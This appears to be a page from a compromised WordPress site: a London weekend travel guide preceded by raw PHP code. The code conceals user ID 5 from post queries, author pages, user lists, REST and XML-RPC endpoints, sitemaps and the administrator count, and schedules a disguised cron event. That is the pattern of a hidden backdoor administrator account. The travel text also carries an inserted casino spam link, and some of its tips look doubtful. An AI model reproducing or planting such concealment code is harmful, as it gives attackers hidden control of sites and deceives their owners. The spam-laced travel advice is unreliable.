add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 5;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 5 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 5;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 5;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
London is a city of micro‑cultures. Pick one—history, food, art, nightlife—and you’ll narrow your choices instantly. For a history buff, Southwark’s Borough Market and the Tower of London offer a day of stone‑and‑steel storytelling. For foodies, Shoreditch’s street stalls and Brick Lane’s curry houses give a taste of global flavors. If art is your passion, the Barbican Centre and the Tate Modern are must‑visit. Once you’ve chosen a theme, map the area on a paper map; a 30‑minute walk from one spot to the next keeps the energy high and the travel time low.
Mid‑week bookings often secure the best rates. A boutique hotel in Covent Garden can cost £120 per night, while a hostel in Camden averages £35. Use a price‑comparison site and set alerts for price drops. Keep a backup option: a city‑center Airbnb that offers a free cancellation policy. That way, if a sudden rainstorm forces you to stay indoors, you won’t be stuck with a non‑refundable reservation.
London’s public transport is a maze. Purchase an Oyster card on arrival; it works on the Tube, buses, and DLR. If you’re staying in the city, a 7‑day Travelcard for Zones 1‑2 costs £38.30 and covers everything. For a day trip to the countryside, consider the National Rail’s “Railcard for 25‑34” which cuts fares by 33 %. Remember to check the TfL website for live service updates—delays can cost you an entire afternoon.
List your top three attractions and book tickets in advance. The London Eye’s 12:30 pm slot on Saturday guarantees a clear view of the Thames. The National Gallery’s free entry at 5 pm allows a relaxed walk through Renaissance masterpieces. Reserve a late‑night comedy show at the Soho Theatre for Sunday night; a single ticket costs £20 and guarantees a laugh after a long day. After the hard‑core agenda, leave a two‑hour window each day for wandering—those are the moments that turn a trip into a story.
Skip the tourist traps and follow the locals’ lead. In Brixton, a 15‑minute walk to the O2 Academy leads to a hidden bar serving craft gin on tap. In Greenwich, the historic Royal Observatory offers a rooftop café with a view of the Prime Meridian. For dessert, grab a take‑away from a bakery in Notting Hill and enjoy it on a park bench. A simple rule: buy a coffee on the way to your next destination; it’s a cheap, energizing pause that keeps the momentum going.
While London’s museums are a highlight, the city also offers a vibrant online gaming scene that can be a fun detour from the usual sightseeing. If you’re looking to unwind after a day of walking, check out the seven casino uk for a quick, casual gaming experience that fits right into your travel itinerary.
London’s weather is notoriously fickle. Bring a compact umbrella, a lightweight waterproof jacket, and a reusable water bottle. Pack one pair of comfortable walking shoes and one dressier pair for evenings out. Avoid over‑packing; a single tote bag plus a small backpack is usually enough for a full day’s worth of souvenirs and snacks.
Before you leave, double‑check your booking confirmations, transport passes, and any event tickets. Load your phone with offline maps and the TfL app. Pack your wallet, a passport if you’re from abroad, and a notebook for spontaneous thoughts. When the weekend arrives, you’ll be ready to explore, relax, and create memories without the usual travel headaches.
]]>